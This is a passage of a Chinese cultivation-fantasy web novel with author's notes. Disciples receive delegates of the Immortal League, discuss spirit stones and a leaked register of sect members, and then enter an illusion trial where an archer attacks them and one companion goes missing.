谭一筠正警惕地注视着他师父手下的动作,期间也没忘了回答关云铮的话:“自然是有的,像灵兽派所在的鹧鸪山,山中灵气充溢,经年累月之下沉积出许多灵石,鹧鸪山早年就是靠灵石交易发家的。” 叶泯作为一个纯正的灵兽派,土生土长的鹧鸪山人,此时没什么攻击性地翻了谭一筠一眼:“把我说的话都抢了,我说什么。” 谭一筠从子不语上收回视线,笑着对他抬抬手:“是我多言。” “那怎么好像都在仙盟手上?不会是像试心玉一样,被他们垄断了吧?”伴随着秋千的来回晃动,关云铮的脚尖时不时轻点着地上的石砖。 楚悯做完了今日的功课,收起月下逢走到秋千前,看关云铮停下,也坐了上去:“这倒不是,只是仙盟不怎么消耗而已。” “噗。”关云铮失笑,“看来权力和实力彼此矛盾,鱼与熊掌不可兼得啊。” 楚悯点点头,严谨地补充道:“仅限于仙盟中人。” 兰珏哈哈大笑:“我听说仙盟前些日子闹了些乱子,也不知道这次大比还能派出几个人来撑场面。” 那估计得看陛下是什么打算了,关云铮心想。 如果陛下也想知道仙盟的筹谋背后是否有更深远的打算,大概会象征性地放他们一马,让这些幕后之人放松警惕,继续施行他们的计划。 不过她还是觉得,如果真有什么计划的话,真正的策划之人大概也不会是仙盟中人,而是那个至今不知踪迹的方竞甫。 毕竟仙盟是帮人傻钱多的关系户,最适合拿来当石头探路,丢进水潭里也不可惜,反正石头有的是。 只是不知道方竞甫这个投石者,究竟想要问条什么路呢? **** 兰珏发出针对仙盟来客的疑问后没多久,这一天的傍晚时分,归墟的山门处便停了几辆规制颇为奢华的马车,几位锦衣玉服的人在仆从的接引下出了轿厢,下车时还在顺口抱怨此次行程有多颠簸。 此时接近天黑,就连刻意晚到些的楚恽和楚泽枫都已在半个时辰前入了归墟,因此山门处无人相迎,唯有山风卷着暮春的花瓣飞过,使得眼前的景象不至于太过凄凉。 打头的马车始终没动静,落在最后的严骛快走几步,到马车下抬手轻敲窗框:“大人,山门处无人相迎,可要传信?” “无人相迎?归墟不知仙盟要来人吗?这是做给谁看?再过两日的幻境是用不上仙盟的灵石了?”轿厢内传来带着薄怒的声音。 严骛在心里叹了口气,碍于眼前还有诸多仆从和同僚,勉强维持住了脸上的神情:“属下这就传信。” 但传给谁呢?他在归墟谁也不认识。 马车里这位自然也清楚这一点,既没有点破,也没有出言嘲讽,意思很明显,就是压根不想管这件事,让他自己想办法解决。真传信也好,撒泼打滚让归墟注意到,引他们来人也好,都不在这位该考虑的范畴。 严骛此人,心窍与常人殊无二致,并没有生就一颗七窍玲珑心。旁人常说他心思颇深犹善钻营,实则只是他们没有他豁得出去,愿意把自己的脸面当泥地,给这些大人物踩着玩而已。 大人物发了话,他也只好照做,大跨步走到山门的护山大阵前。 如果他摆出硬闯的架势,想必动静能惊动归墟中人,让他们来查看吧? 严骛地位低微,不论是从前在仙门中修道,还是如今在仙盟中混饭吃,一字之差,并没有使他的际遇变得更好。仙门中的人好歹还把他当人看,仙盟中这些眼高于顶的人,不是把他当成猪狗,就是将他视作比之猪狗还要不如的东西,他的脸面,不值一钱。 因此就算他擅闯护山大阵会落得个狼狈的下场,当下也只有这一条路可走了。 谁料还没等他硬着头皮往里闯,山门内忽然走出一人。 来者是个才到他胸口的小姑娘,上次来归墟时未曾见过,身后背着一刀一剑,见了他也不惊讶,仿佛正是为迎接他而来一般,对他做了个“请”的手势:“是仙盟的客人吧,方才大比安排出了些岔子,大家都回门派内商议事务了,一时疏漏,没留下人在山门处迎接,让诸位久等,实在抱歉。” 她声音清朗,不卑不亢的态度无端让严骛脆弱的心好受了些,感觉受到了莫大的尊重似的。 他认真道过谢,又转身奔回那架马车旁边:“大人,来人迎接了。” 轿厢内发出一阵衣料的摩擦之声,马车内的大人物终于拿够了乔,挪了窝,在侍从的搀扶下出了轿厢。 他顺着帘子撩起的方向往石阶上看了眼,便见那小姑娘远远望来,眼神清亮得仿佛那白可透光的昆山玉。 马车上的贵人——正巧也姓严,撞见这眼神,不由皱了皱眉,没多说什么,下了马车率先走过去。 严骛连忙跟上,却被另外几位等候的人随手拨开,在连番推搡之中落到了队伍最后。 站在石阶上的关云铮将这一幕尽数看进眼中,站在原地没说话。 “仙盟来人里有个姓严的,”章存舒在她出门前随口说道,“不是你知道的那个姓严的,严骛不太重要。这位姓严的在仙盟中可以算是只手遮天,因为没参与此次的学子之乱,也及时撇清了自己的关系,因此还能带着好些人来参与此次大比,你过个半炷香出去迎一迎。” 关云铮没想到说话最棒槌的自己被派了这么个活,一时有些茫然:“那我该说些什么?” 章存舒顺手揉了一把她的脑袋:“开头说几句客气话就行了,之后若是那姓严的要问你话,你就答,除此之外不用多说。” 关云铮心说对不认识的人也没什么好多说的。 兰珏坐在一边吃点心:“此人性格很是古怪,虽然脱离仙门已久,也多年未曾出手,实力成谜,但依旧表现得十分像个仙门人。” 懂了。 关云铮眨眨眼:“意思是,我越是表现得像个仙门人一样,对仙盟来客不甚热络,他就越是高兴?” 误闯小众圈子,失敬失敬。 这什么喜欢贬低自己所处环境的奇葩,敢情在仙盟吃喝玩乐对他来说是一种形似上学上班的酷刑?这也能恨上? “他也就招人恨这一个用处了,不用太搭理。”兰珏拍掉手心的点心碎屑。 关云铮收回思绪,看向缓步朝她走来的严某——不是她想用对待犯罪嫌疑人的态度对待此人,实在是两位缺德的师父辈都没告诉她此人到底叫什么名字。 “诸位请随我来。”她堪称高贵冷艳地对一群人点了点头,领着人往归墟内走。 落在最后的严骛皱眉,隐约觉得领路的弟子态度发生了变化,方才面对他时分明更为尊敬一些,为何对严大人是此番态度? 她的师门同她说过什么吗? 那她岂不应该对自己更为厌恶才对?这态度转变是不是颠倒了? 严骛一头雾水地跟上前人的脚步—— 作者有话说:截至11.12新增营养液372评论18雷1,加更字数应为9340 ,短时间内实在写不完,所以拆作两更,此为第一更。 被室友做局了,此人一口气给我投了两百多瓶营养液,顿时负债累累[化了] 第167章 把一大帮人领进门后, 关云铮的任务就算是结束了,吃饱喝足的步雁山又恢复了元气,端上了他那副外交面孔, 迎上前来。 有他吸引火力, 关云铮自然功成身退,不动声色地回自己的小院去了。 为首的严某人没注意到她的去向, 反倒是队伍最后的严骛眼尖, 一眼发现她的目的地是不远处的苍生道院,顿时有些变了脸色。 章存舒的徒弟?那她方才对自己和颜悦色,是何居心? 被怀疑居心叵测的人正心无旁骛地往小院走,虽然隐约感觉到身后有视线逡巡不去,但懒得回头,一路走上游廊便同院里的楚悯说道:“那姓严的好大的派头。” 楚悯正和谭一筠下棋, 闻言抬头看向她:“怎么,还是为难你了?” 关云铮一撑游廊的围栏, 直接从游廊上跨进院子,又抬手移来门边放着的竹椅, 在楚悯身侧坐下:“那倒没有, 我都有问有答了,他若还要刁难,就太不懂事了吧。” 谭一筠思忖片刻, 下了枚黑子:“虽然师父说此人在仙盟只手遮天, 但从前好像并未在我面前提起过他的名字,我们就这样一直用‘姓严的’称呼他吗?” 叶泯不知何时走上了游廊:“有什么所谓,反正姓严的也不只他一位,用这个称呼一次能骂两人,赚了。” 他话音刚落, 就“哎哟”一声,惹得原本没立刻抬头的三人齐刷刷看来:发现是走在他身后的叶浔抬手敲了一下他的脑袋。 那没事了。 三人又齐刷刷地收回视线。 孪生兄弟能处成这样也是蛮少见的,不知道的还以为叶浔比叶泯大上好几岁呢。 叶浔虽然抬手敲人,但脸上还是带着笑的:“惹得起吗你就骂。” 叶泯笑嘻嘻的:“这么多人呢,再说了,我们又不主动惹事。” 等到兄弟二人一起走下游廊,关云铮和楚悯又齐声道:“叶大哥。” 叶泯:“……”这种微妙的感觉是怎么回事?他哥也就比他早出生了半个时辰吧?这种尊敬的语气他从未在同伴这里体验过! 谭一筠的神情就更微妙了。 他比叶泯年长一岁,也就比与叶泯是孪生兄弟的叶浔年长一岁,可叶浔看起来……比他稳重多了。 叶浔大概也看出了他的那点不自在,对三人笑了笑,说道:“像称呼我弟弟一样称呼我就好。” 叶泯善解人意地挑起别的话题:“我哥这次来归墟带了好些灵石,问我们需不需要提前拿一些存放在乾坤袋里,以备不时之需。” “灵石不是用来支撑幻境运转的吗?就这样给我们了?”关云铮疑惑,“还是带了很多,足够在幻境运作之余给我们也留一些?” “自然是带的够多了。”叶泯拉着叶浔在桌边坐下,“先前那次翠屏山大比时的灵石,有一多半都是我们灵兽派提供的,听闻这次大比只考幻境,我哥就带的更多了些。” 关云铮挑起眉:“听闻?” 此次大比只有幻境这事还是昨日揭晓的,叶浔又是从哪里听闻的? 叶泯后知后觉地看向他哥。 只见他那蔫坏的哥笑道:“自然是归墟前辈提前告知家父,得了确切的指示。” 他刚说完,立刻想明白这位前辈是谁的关云铮便冷笑一声。 谭一筠默默喝了口茶,心说自己昨日说的那话果然没说错,就是让云铮去评价章先生,恐怕一时也做不到尽是溢美之词,不要脱口而出气急败坏之下的咒骂就很不错了。 叶泯偶尔表现得反应迟钝,实则心思很活泛,见此情景就知道应该是章先生又坑了他们一回,默默在心里叹了口气——不知是为自己和同伴,还是为这一肚子坏水的哥哥故意捅破此事,接过话茬道:“估计幻境不会太简单,还是备着些灵石为好。” 三人自然没意见,反正再多灵石放乾坤袋里也没有重量。 不过关云铮到底是没见过也没用过灵石,所以在将大多数灵石放入乾坤袋后,还是留了一块在外面仔细端详。 “就像汲取天地灵气一样从中抽取灵气?抽完之后灵石会如何?”关云铮摩挲着手里的石块。 比起灵石的作用,它的外在看起来十分不起眼,不说看着流光溢彩,甚至没有矿物质颗粒,通身灰扑扑的,仿佛混凝土碎块。 “会化为齑粉。”谭一筠也拿着一块灵石,“不过灵石的灵气也算天地灵气的一部分,只能算是借,总有还给天地的一天。” 敢情还是笔生前积累再多,死后都能一笔勾销的债。 关云铮顺着他的话凝聚心神,很快便感觉到灵石中有一股细微的灵气,顺着接触的部分流入她的掌心。 “好像比从天地中汲取灵气要简单很多。”她仔细感受了片刻,说道。 楚悯点点头:“因为纯度比较高,应该是带来之前先经过了提纯。” 叶浔笑道:“分内之事。” 楚悯与他算是比较相熟,此刻便顺势问道:“到时你可要参与大比?” 叶浔看了眼坐在一边把玩灵石的叶泯:“我就不去了,到时应当在外负责幻境的灵气供应。你们也已经有了默契,我去反而碍事。” 谭一筠过了那个不自在的劲头,说话便自如许多:“到时还不知能否在开局碰上。”默契什么的也得碰上了才能得以施展。 “碰不上就靠传音符和傀儡术,幻境再大也有边界,迟早能碰上。”关云铮并不十分担忧,“而且是大比又不是大逃杀,总不会有疯子在幻境里见一个杀一个吧,碰不上的问题也不大。” 她想到了什么,脸色微微冷了些:“要是真有这样的疯子,我们也必不会手下留情。” **** 大比正式开始前,关云铮又去来去峰找了一次任嵩华。 那日她与奚楼聊了许多,却不知原本在一旁练剑的任师姐去了哪里,后来忙了起来,也有好几日不曾来访了。如今大比就在眼前,她得来蹭蹭“学神之气”。 任嵩华少见地不在练剑。 大概是步雁山实在太忙,连任嵩华这个从不插手门派内务的弟子都不忍心了,此时正支了张桌子,在院子门口整理明日比试的名单。 按理来说步雁山再忙此事也不该交给她做,关云铮靠近时看清内容还有些疑惑,便听任嵩华会读心似的解释道:“只是分析实力。” 原来是自己想多了,关云铮默默吐槽,在她一旁坐下:“我倒是仔细看过名单,只是里面的人大多都不认识,任师姐是如何知道他们实力如何的?” 任嵩华从身侧捞起一本册子给她。 关云铮随手一翻,发觉每一页都详细记载了各门派中各弟子的修为境界和惯用武器,里面有不少人名都与名单上的重合。 “这是哪来的?”她被详尽的记录惊到,抬头问道。 任嵩华写得差不多了,随手将镇纸压在纸张一角,搁下笔:“那日仙盟来客,是你去迎的?” 关云铮懂了她的意思:“仙盟给的?他们竟然有这么详细的记录?” 任嵩华点点头:“这几年的完整些,早年常有缺失。” 关云铮想当然地以为是早年各方面技术跟不上的原因,转念一想似乎又有哪里不对。毕竟仙门是一代不如一代,早年理应手段更先进一些才对。她自己想不明白,索性追问道:“为何?” “因为早年还知道忙点自己该做的事,这几年就只会盯着各处仙门了。”凌风起的声音从两人身后不远处响起。 案边的两人一起回过头。 “凌师伯。” “凌长老。” 其实按理来说,任嵩华是戚寻月徒弟一事大家已经心照不宣,她自然也该称呼凌风起一声师伯。可大概是她这些年来习惯了不曾改口,凌风起和他两位师弟也不曾对此表态,这个称呼便一直延续到了如今。 反正她也从没叫过另两位师伯和师叔。 关云铮的思绪略微打了个岔,很快又回到方才的正题上,从凌风起的话里明白了缘由。 打个不恰当的比方……大概就是经济上行和经济下行的区别吧,经济发展景气的时候,条条款款往往也没那么多,大家做事都比较自在,不太受约束;经济下行时期,赚钱变得更为艰难,在得到钱款之前的手续也会变多,各类管理条例也会逐渐繁琐。 仙盟就是这样一款针对仙门的“管理条例”。 “有多完整?”关云铮一边问,一边快速翻阅着手里的名册,得益于褚老教学符咒的方法,现在她对飞速划过自己眼前的文字记得很快,几息之后便翻到了记载了归墟弟子情况的部分。 “咦?”她抬头看了眼凌风起,“这上面怎么没有写师伯的信息?” 凌风起低头看了眼:“那阵子跟师父吵架想离开师门。” 关云铮露出一片空白的表情。 凌风起随口瞎编:“也可能是当时谎报了一个什么名字上去,或者在跟存舒吵架,谁知道。” “所以仙盟的这些资料……”关云铮不可置信道,“是他们人口普查似的问出来的?” “早年是,现在不清楚,”凌风起还挺有问必答,“你往后翻翻,看你的武器是不是全在上面就知道了。” 关云铮依言往后一翻。 凌风起看清了纸页上的字,顿时嗤笑一声。 那上面只写了关云铮有剑,没写刀。 她顺手又翻了翻三位同伴的信息,叶泯连武器都没写,只写了灵犀;话痨的武器倒是列明了,但也可能是因为去年他就参与了大比,那法器又十分显眼,所以不费什么工夫;小悯的月下逢就几乎是查无此琴了,至今武器栏还是空白的。 这什么草台班子?关云铮一脸无语地合上册子。 “其实也就只是我们的弟子信息没被泄露,你的同伴因为在归墟接受教习,也受了庇护。”凌风起说道。 关云铮一点就通,若有所思:“护山大阵?” 凌风起懒散地“嗯”了声,却没再往下说,反倒是一旁沉默了许久的任嵩华接过话茬:“护山大阵可以阻拦向外传递的不利消息。” “比如归墟弟子的信息?”关云铮问道,心念电转间又想到什么,“可是小悯得到月下逢时人尚且在灵兽派的地盘,怎么也未被仙盟知晓?” “灵兽派虽偶有内斗,但对外时仍是铁板一块,况且自己门派的新生乐器认了外来人为主这事太过丢人,大约也不会往外传。”凌风起说着,稍微正色了些,“我听存舒说过,那时小悯遇上个姓秦的长老,对她颇有些刁难。” “对,我还以为他那副做派……” 凌风起笑了声:“自己门派内部斗到什么程度,大概都不想让仙盟来横插一手,人与人斗,混进来一群狗算什么。” ……这熟悉的无差别攻击味。 归墟是凭借护山大阵“屏蔽”了不利的消息,灵兽派是“团结一心”,那其他门派呢?没有护山大阵也不够团结吗? 不过说到团结…… 赵乾达一直在与仙盟的人通信,按理来说里面的内容也算是“不利的消息”,怎么可能不被护山大阵阻拦,还让他们通信成功呢?那往来信件可是有好厚一沓啊。 所以章存舒对她私下查探赵乾达芥子的事才表现得一副云淡风轻的样子,甚至不曾评价她手段是否过于激进,原来是早就有所防备?那些消息是他故意漏出去的?目的是什么? 迷津渡覆灭,方竞甫出逃发生在一年前,章存舒把此事设计成了幻境用以考察四人,这其中是不是也有他的筹谋在? “祂”说章存舒天赋异禀,难道她那整日说些谜语的师父,当真能够未卜先知? 关云铮捧着名册发呆,忽然听见凌风起对任嵩华说道:“前些日子奚楼常来找你。” 任嵩华不冷不淡地应了声。 凌风起没多说什么,只是忽然又把视线投向回神的关云铮:“你知道奚楼和奚亭原本不姓奚吗?” 关云铮一头雾水,想不通话题是怎么突然跳到这里的:“不知道。” “她二人原本随父姓,姓李,名中的奚也非此奚,而是溪水的溪。奚亭弑父后,两人弃父姓,去溪中水,成了奚姓。” 大概是奚楼亲口说出她姐姐奚亭弑父一事的冲击已经足够了,此刻听凌风起说完这些,关云铮竟然觉得毫不意外,心里也十分平静,甚至觉得这是理所当然的事情。 她以前在网上看到过一个非常有意思的说法,人们总是宣扬“父爱如山”,实际上对于很多人的家庭来说,父亲都是缺位的,是隐形的,所以某种意义上来说其实是“父爱如删”,有没有都没什么差别。 她的父亲大约要稍微有存在感一些,心情不好的时候不理人不说话,心情很好的时候就会废话连篇,从饭菜不合口味点评到他国大事,从子女饮食口味与他不符,审判到子女不入流的为人处世。 运气再差一点,撞上他喜怒无常特质爆发的瞬间,还能感受一次被如山父爱喷得狗血淋头的感觉。 坦白说,她经常对他感到厌烦,偶尔也会因为他的口不择言而非常恨他。但因为他的存在感实在太少了,长期缺位的状态下,那些恨和厌恶就像一注极细的污流,汇入更大的江河之中便逐渐沉积在了河底,只有在下一次波涛翻涌时才会显露端倪。 如今想来,可能是因为她也没那么爱他吧。 感受不到父爱,也就不会爱自己的父亲,恨意也就随之变得稀薄了。 她不知道在奚亭奚楼姐妹的母亲出事前,那位姓李的昆仑掌事者为人如何,为父又如何,但大概父女之间是有些感情的吧?不然怎么会那样失望,那样决然呢? 她垂着眼出神,不知想到什么,忽而笑了声。 凌风起正要起身,听见动静又停住动作:“笑什么?” 关云铮回过神,朝他笑着摆摆手:“没什么,师伯慢走。” 凌风起不疑有他,临走前又从乾坤袋里摸出几瓶丹药给她:“这次的写明了药效,以免拿错。” 关云铮伸手接过:“真会拿错?我还以为隙影训练有素,对每瓶药的功效都了如指掌呢。” “先前那些确实如此,这几瓶是新研制的,估计它们并不熟悉,得靠你自己辨认。”凌风起随口说道,这次说完后便踏上浮白,御剑下山去了。 关云铮心说那她得回去琢磨个徒手就能辨认出来的方式,省得打架时分不出心神,真拿错了。 任嵩华将晾干的纸卷起来递给她,又问道:“方才你因何而笑?” 关云铮倒是不意外她会将这纸交给自己,毕竟任嵩华比参与大比的多数弟子都要年长,技艺也更纯熟,不太可能入幻境。故而分析武力也没什么用,只可能是给这些要入幻境的师弟师妹准备的。 她道过谢,又反问:“任师姐听过杀妻证道吗?” 任嵩华少见地皱了皱眉:“没听过,什么歪门邪道?” 关云铮笑了笑:“确实是歪门邪道。” 任嵩华心思通透,很快明白她为何说起此事:“是对奚亭弑父一事有感而发?” 关云铮把纸卷收好,放入乾坤袋:“是啊,曾经看过一些无情道男修动了凡心,爱上了其他女子,后来……就有了杀妻证道一说。” 她一手撑着桌案,目光停留在那本名册上,语气懒懒的:“所以当我知道昆仑作为当今唯一一个无情道门派,还全是女修的时候,其实还挺高兴的。” “高兴?”任嵩华问道。 “男人有生理缺陷,做不到无情,有了情还要怪在别人身上,害得别人失了性命,自然还是女人更适合修这无情道。”其实她还有一句话没说,但因为说出来太不符合当世核心价值观了,所以还是把话咽回了肚子里。 ——至于弑父,斩断所谓的血脉亲情,岂不更能证明道心之坚定,道途之坦荡光明?—— 作者有话说:5343+4216=9559,加更字数完成[墨镜] 其实原计划昨天就能写完了,但是被来势汹汹的痛经打垮了[化了] 第168章 任嵩华对大比参与者的实力分析很管用, 至少治好了叶泯考前不停哆嗦的腿。 不过对于长期存在的病痛来说,那一纸分析顶多只能算是短效镇痛药,药效褪去后, 并不久违的紧张就会再度席卷而来。 ——叶泯在进幻境前连手都开始哆嗦了。 这次幻境要将所有人都放进去, 入口几乎比归墟的山门还要大一些,并且是个不管从什么角度都能进的“门”, 此刻参与者大多结伴站在面向门的各处, 关云铮四人也并排站在一处角落。 关云铮拨弄着摇羽上的剑穗,看了眼叶泯隐约有些发颤的手,调侃他:“是不是我们三个人的紧张都到你那里去了?” 叶泯深吸了一口气,叹气时呼了出来:“我也想知道我这手脚在发什么疯,心里也没多紧张,怎么就能哆嗦成这样。” 关云铮深以为然地点点头, 心说她以前考试前还总觉得自己不紧张,结果有一次手上一拿着水杯就会不停喝水, 差点就在考试开始后半小时内往厕所跑了。 理智上觉得自己没那么紧张的时候,植物性神经的反应却不会那么给面子, 会直观地暴||露出这具身体目前最真实的状态——体现到关云铮身上就是疯狂喝水, 体现到叶泯身上就是手抖。 “某种意义上来说,你现在的状态其实是件好事。”关云铮随意打量着周围的众人,大多面孔都非常陌生, 哪怕已经努力记住了那张纸上的信息, 也没法与真实的人一一对应。 “现在的状态能让你在最短时间内,响应接下来发生的事,可能还会提高你的行进速度,甚至增长一点力量,”她话音一转, 收回自己落在别处的视线,看向叶泯,“但你也不能放任这种状态一直持续下去,夸张点说,长时间这样下去,心要吃不消了。” 楚悯清楚叶泯此时焦虑不安的主要因素,闻言也在一旁说道:“开局不在一处也没关系,无需担心。” 谭一筠自然也明白他的忧虑,干脆抬手搭住他的肩膀,用了两分力道在他肩头捏了一把:“灵犀状态如何?” 叶泯被他捏得一激灵:“挺好的?” 谭一筠挑眉:“符咒准备可妥当了?” 叶泯点点头。 谭一筠松开手,“唰”一下抖开子不语,故作高深莫测地扇了扇:“那不就得了,还有什么是我们解决不了的?” 叶泯在同伴的包围下深呼吸了几个来回,正要说话,忽然听见凌风起的声音传来——他正按照惯例,逐个念出参与大比之人的姓名。 关云铮立刻将视线投向入口处:“这不就到了你的紧张状态发挥作用的时候了?趁此时机,多记住几张脸,将ta们的名字与昨日那纸实力分析上的 信息一一对应,我们……就事半功倍了。” **** 纵然进入幻境前众人全都三五成群,但踏入那入口之后,每个人都是孤身一人,像是被闯关系统随机投放的玩家。 关云铮从随身的口袋里摸出叶泯做的传音符,这小东西后来经过了改良,耗费一点灵气,就能一直跟在使用者身侧悬浮着。 当时叶泯宣布改良之后的功能,关云铮内心的想法是:太好了我们修仙界也有属于自己的蓝牙耳机。 她刚召出传音符,正欲开口的瞬间听见三重不同的声音从传音符的另一边传来:“你们在哪?” 三个人把她想问的也说了,关云铮只好环顾了一圈自己周围的环境,简单描述了一番:“好像是处密林,树木长得很高大,几乎遮天蔽日。” 话音未落,她时刻紧绷的注意力捕捉到了远处一阵急促的脚步声,顿时一个侧身闪到离她最近的树木之后,遮掩自己的身形。 “我这里有人来了。”关云铮压低声音和同伴同步情况。 不知是谁在传音符的另一边疾奔,衣摆从小腿高的草地中飞快划过的声音一直响在耳边。 关云铮抬手将传音符掖进衣领,借着树木的遮挡探出视线。 可才露出发顶,几支箭便飞快朝此处射来,关云铮顿时往后撤身,却已经在方才那一探之间窥见了来人的脸。好像是个年纪不大的姑娘? 四人进入幻境前确实用心记了一番参试者的相貌,但人的记忆毕竟有限,她没打算相信自己的脑子,之所以仔细看过每一个人的脸,其实是为了让识海中的将隐建立印象。 如今看见来人的脸,识海中的将隐便无令自动,飞快地翻阅起她方才的记忆来。 几息过后,关云铮微微偏头,对着传音符低声道:“不是参试者,幻境中可能有其他敌对之人。” 而那来人恐怕早已发现了她的踪迹,此刻故意没有动作,可能是想等她探出头时再度发起攻势。 什么样的人会对素未谋面的人痛下杀手?她所在的这个环境是否有现实中的参考?此刻贸然闯出去又会面对什么? 关云铮心思飞速运转,同时没忘了警惕周遭,手中还异常熟练地画了一个阵法。 她一心三用,在一片寂静之中,猛地一步迈出树木的遮挡范围,将手中阵法往前狠狠一推。 简易的防御阵法威力不弱,当即震开了几支再度从远处射来的箭。 对面好快的反应速度! 关云铮在防御阵法后抬起眼,只见远处树木密密挨挨,灌木丛生,根本看不到方才那姑娘的人影。 此人第一次出箭前与关云铮对上了视线,第二次出箭却早于她抛下掩体而出的时间,也就是对她会离开树木的遮蔽一事早有计算,几乎将她的行为剖析透了。 不过还好,这不算超出她的预料。 毕竟任嵩华也不曾见过她练剑练刀,却还是能在她每一次出刀前算准她的去势,然后精准地避开她的攻击,反手削她一剑。 被任嵩华吊打和被此人用箭指着的感觉有些微妙的重合,关云铮在这种微妙的感觉里找到了一点自信,正准备趁着自己心态尚可与对面再比一回,就听见那一直在传音符中的“沙沙”声到了自己身后。 她一直正面向前,闻声立时向后转身,同时将手中的防御阵法拓宽了一倍,左手几乎反身就要拔出刀来—— 只见叶泯跑得上气不接下气,见着关云铮也没顾得上打招呼,先冲到她的防御阵法之后,向着箭来的方向喊道:“我们是山下农户的客人,误闯此地并无恶意,诸位还请手下留情!” 关云铮一脸惊愕地看向他:“你怎么这么快就来了?”是怎么找到这的? 她刚问完,忽然想到一种可能,不由微微瞪大了眼睛:“等等,这里不会是仿着鹧鸪山布的景吧?” 叶泯在喘息的间隙里回头看了她一眼,对她点了点头。 关云铮神情复杂:所以她方才是闯进围猎场合了?好险,差点变成童年女神小燕子。 对面显然不信他的说辞,这样近的距离,紧绷的状态之下,两人都听见了弓弦拉满的声音。叶泯顿时急了,一步跨出防御阵法的保护范围,怒道:“哪有偷猎之人会光明正大站这当靶子的!” 哇塞。关云铮忍不住侧目,不愧是主场,这绝对是她认识叶泯以来,他气势最足的一次。 她倒也不怕和对面再交手几个回合,那箭虽然来势汹汹,但威力不算太大,毕竟靠防御阵法就能扛下来。只是一直这样耗着确实不是办法,她还不想在开局就陷入这样被动的状态里,叶泯这么一折腾倒也好,省得她费口舌与精力。 对面似乎当真思考了一番他的话,随即扬声道:“你们究竟是何人?为何现身此处?” 叶泯忍不住磨了磨牙,自言自语道:“我也想知道。” 虽然他很想在心里做一个代表章先生的小人,用针在上面扎个几回,但事情到了这步田地,也容不得他埋怨了,还是缓解当前紧张的局势要紧:“我们绝非偷猎之人,只是误入此地,很快便会离开。” 关云铮没说话,手头却也没闲着,默不作声地将防御阵法又加固了一番,静候着那边的回答。 片刻之后,空气中那种难言的紧绷感终于褪去,灌木丛中的人朗声道:“既如此,便信你们一回,快些离开吧,勿要再闯入此地。” **** 确认没人跟上来,关云铮暂时收起了防御阵法,与传音符另一边的楚悯和谭一筠报了声平安,看向身侧的叶泯:“你是恰好在附近,还是听完我的描述,猜到我在这才赶过来的?” 叶泯也警醒地环视了一圈周遭,将灵笼里的灵犀放出来,任它绕在肩颈处:“这样高大的树木,又是这样潮热滞闷的环境,除了鹧鸪山,我暂时想不出别的可能,又听见你也在这样的地方,便一路循着示踪的指示找来了。” 哦对。 关云铮意识到方才自己犯了一个多么基础的错误,摇头失笑:“我还笑你紧张,我才是紧张过头了,竟然忘了乾坤袋里还有好几张示踪可用。” 竟然就那么莽撞地与人对上了,还揣着个防御阵法杵那不肯走,往那一站就像个兵似的,到头来也不知道自己在守卫些什么。 叶泯不甚在意,也摇了摇头:“我也是跑出去好远才想起还有示踪,没比你好多少。” 谭一筠的声音从两人身上的传音符中传来:“好了好了,知道你们二位很紧张,但是现在已经找到同伴,危机也暂时解除了,可以告诉我和小悯方才到底是怎么一回事了吗?” “你不是都听见了?”关云铮自己也还在思考当下的局势,懒得和他多说,随口敷衍了一句。 谭一筠那边似乎也在赶路,再度开口时话音里有些带喘的气声:“话倒是都听见了,但没听明白究竟是怎么解除危机的。那姑娘将你视作偷猎之人向你出手,又怎么会因为三言两语就轻易放过你们?” 总之大概率不会是因为看见了叶泯的相貌。章存舒虽然总爱用现实的环境为参考布设幻境,但第一次的江县四人没去过;第二次的翠屏山两个没去过,两个在幻境中直接作为“闯入者”取代原幻境中的人,譬如叶泯就取代了去年的他自己;第三次则干脆是过去发生过的景象,四人中无一人参与过。 按照惯例,这次幻境中的人应当也认不出她和叶泯才对。 “哪有偷猎者反击时只用防御阵法的?”关云铮无奈道,“话痨,你也紧张过头了?” 谭一筠还真是有些精神紧绷,他正循着示踪的指示朝小悯那边靠近,但越往那边走,就越是觉得心中不安,小悯也已经有好一阵没有在传音符中出声了。 他不想让同伴也一起担忧,顺口应下关云铮的话:“谁让叶泯紧张起来那般有感染力,连累我也思虑不周了。”他把锅推到叶泯头上,又趁叶泯没来得及还嘴的工夫追问道,“倒是你,云铮,方才只用防御阵法是为了掩藏实力吗?” “嗯,只要不是非动手不可的场合,就先别动手,掩藏实力只是一部分,保存精力也很重要,灵石再多也不能弥补精力。”关云铮说道,走出这段距离,周围都没有什么风吹草动,终于放心下来,从乾坤袋里拿出一张示踪。 示踪无风自动,顺着一个方向晃晃悠悠地飘出去几尺远,关云铮和叶泯对视一眼,连忙跟着示踪的方向走。 两人走出去好些距离,察觉到什么的关云铮忽而皱起眉头:“话痨。” 谭一筠语气如常地“嗯?”了一声,表示自己在听。 “你是不是在去找小悯的路上?”关云铮问道。 谭一筠回答的语气听不出丝毫问题:“是啊,怎么?” 叶泯也意识到了不对劲之处:“你究竟在哪?小悯为什么也一直不说话?我能感觉她的传音符一直在运转中,可是听不到她那边的声音。” 谭一筠见瞒不住,叹了口气,压低声音道:“我在一处荒村的入口,示踪显示小悯就在里面,但是这荒村……好生诡异。” 荒村,极其适合闹鬼的风水宝地。 叶泯立刻将自己乾坤袋里的那张示踪也拿了出来,在上面用灵气一抹,令它更改了追踪的对象。 “我们马上过去。”叶泯指尖冒出一小簇灵气,被他反手加持在示踪之上,只见那在风中摇摇晃晃的纸片忽然一个打挺,笔直有力地立了起来,挺拔的“身姿”看起来随时能干脆利落地扇人一巴掌。 关云铮和他对视一眼,同时抽出腰间佩剑,一前一后跃上剑身,操纵佩剑向着示踪疾驰而去的方向追去—— 作者有话说:今天又被痛经暴击了……睡前写文不是写得大脑亢奋难以入睡,就是写得神智昏聩双目无神…… 第169章 示踪的本质是以灵为目标进行追踪, 万物皆有独特的灵,一般情况下,只要这个存在还活着, 生命体征平稳, 这种追踪方式就永久有效。 ——所以当一直飘在空中、目标明确的示踪忽然停滞,而后毫无征兆地像一张废纸般被风刮落, 关云铮和叶泯都被惊得下意识伸手去捞, 差点也从剑上摔下去。 顾不上攫住心头的巨大惊骇,关云铮稳住身体和心神,第一时间对着传音符另一边问道:“我们追踪不到小悯的灵了,你那边有什么发现?” 叶泯脸都白了,脑子里不断回想褚老曾经说过的示踪使用过程中可能会出现的问题,一时之间几乎没注意到, 传音符另一边沉默了好几息才传来谭一筠的声音:“你们到哪了?” 他问完这个问题也意识到这是句废话,很快又改口道:“用另一张示踪追踪我的灵, 应该不远了。”他停顿片刻,“我尚且不知小悯的情况如何, 但此处情况我三言两语也解释不清楚, 等你们来了再说。” 他说完这句话后,传音符那边的声音便陡然消失了,只留下一点徒劳的尾音在空中飘散。 